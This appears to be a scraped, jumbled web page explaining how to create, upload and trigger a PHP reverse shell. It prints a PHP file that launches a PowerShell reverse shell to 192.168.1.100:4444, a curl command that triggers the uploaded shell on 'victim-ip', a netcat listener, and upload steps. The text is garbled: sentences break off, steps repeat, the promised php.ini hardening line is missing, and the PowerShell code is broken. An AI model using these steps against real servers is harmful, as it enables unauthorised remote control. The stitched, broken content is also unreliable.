curl http://victim-ip/reverse_shell.php
: The PHP script opens a socket stream to the listener, duplicates the standard input/output/error streams, and binds them to a system shell execution function (like /bin/sh or cmd.exe ). Creating a PHP Reverse Shell Script reverse shell php install
Reverse shells are effective because:
Block the underlying functions that allow PHP to interact with the server's operating system. Edit your server's php.ini file and add the following line: curl http://victim-ip/reverse_shell
<?php system("powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"\$c=New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%0;while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0) Out-String);\$sb2=\$sb + 'PS ' + (pwd).Path + '> ';\$sbt=([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);\$s.Flush();\$c.Close()\""); ?> Step 3: Trigger the Shell Access the uploaded
Use the vulnerability on the target application to upload the shell.php file (e.g., via a profile picture upload or plugin installer). Step 3: Trigger the Shell Access the uploaded file via the browser:
nc -lvnp 4444